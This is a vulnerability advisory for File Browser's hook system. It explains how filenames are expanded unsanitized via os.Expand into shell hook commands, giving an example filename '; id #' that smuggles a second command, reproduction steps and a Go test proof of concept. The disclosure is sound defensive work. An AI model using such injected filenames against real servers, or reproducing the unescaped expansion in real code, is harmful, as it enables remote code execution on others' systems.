"details": "> [!NOTE]\n> **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n>\n> For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Overview\n\nThe hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like `$FILE` and `$USERNAME` is performed via `os.Expand` without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in **Remote Code Execution (RCE)**.\n\n## Affected Location\n\n- **File:** `runner/runner.go`\n- **Function:** `Runner.exec`\n\n## Technical Details\n\n`Runner.exec` expands template variables inside hook command strings using `os.Expand`:\n\n```go\n// runner/runner.go\nenvMapping := func(key string) string {\n switch key {\n case \"FILE\":\n return path // attacker-controlled filename\n case \"USERNAME\":\n return username // attacker-controlled username\n // ...\n }\n}\n\nfor i, arg := range command {\n if i == 0 { continue }\n command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.\n}\n```\n\nThe expanded value is then passed as a shell argument string. `os.Expand` performs plain string substitution with no escaping. If an admin has configured a hook such as:\n\n```\nsh -c \"echo created $FILE\"\n```\n\n...and an attacker creates a file named `; id #`, the variable expansion produces:\n\n```\nsh -c \"echo created /path/to/; id #\"\n```\n\nThe `;` terminates the `echo` command and the shell executes `id` with server privileges. The `#` character comments out the remainder, preventing syntax errors.\n\nThis pattern is exploitable across all hook events: `before_upload`, `after_upload`, `before_rename`, `after_rename`, `before_delete`, `after_delete`, etc.\n\n## Attack Scenario / Reproduction Steps\n\n1. Admin configures an `after_upload` hook: `sh -c \"echo created $FILE\"`.\n2. The attacker (authenticated user with upload permission) uploads a file named `; id #`.\n3. The upload succeeds and the hook fires automatically.\n4. The server executes:\n ```sh\n sh -c \"echo created /uploads/; id #\"\n ```\n5. The `id` command runs, confirming RCE.\n\n## Impact\n\nAny authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds `$FILE` in a shell string is exploitable by crafting the filename accordingly.\n\n## Proof of Concept\n\n```go\npackage runner\n\nimport (\n \"os\"\n \"testing\"\n\n \"github.com/filebrowser/filebrowser/v2/settings\"\n)\n\nfunc TestPoC_FileHookInjection(t *testing.T) {\n // Simulate an admin-configured shell-based hook\n r := &Runner{\n Enabled: true,\n Settings: &settings.Settings{\n Shell: []string{\"sh\", \"-c\"},\n Commands: map[string][]string{\n \"after_upload\": {\"echo Uploaded $FILE\"},\n },\n },\n }\n\n // Malicious filename crafted by the attacker\n maliciousFilename := \"/tmp/safe; id #\"\n\n // Simulate the exec logic in runner/runner.go\n raw := r.Commands[\"after_upload\"][0]\n command, _, _ := ParseCommand(r.Settings, raw)\n\n envMapping := func(key string) string {\n if key == \"FILE\" {\n return maliciousFilename\n }\n return os.Getenv(key)\n }\n\n for i, arg := range command {\n if i == 0 {\n continue\n }\n // os.Expand substitutes $FILE with the attacker-controlled filename —\n // no escaping is applied, so shell metacharacters pass through unchanged.\n command[i] = os.Expand(arg, envMapping)\n }\n\n // The resulting command argument is the injected shell script:\n // sh -c \"echo Uploaded /tmp/safe; id #\"\n expectedArg := \"echo Uploaded /tmp/safe; id #\"\n if command[2] != expectedArg {\n t.Errorf(\"Expected command argument %q, got %q\", expectedArg, command[2])\n }\n\n t.Logf(\"Confirmed: filename injection succeeded. Shell will execute: %v\", command)\n}\n```",
0 commit comments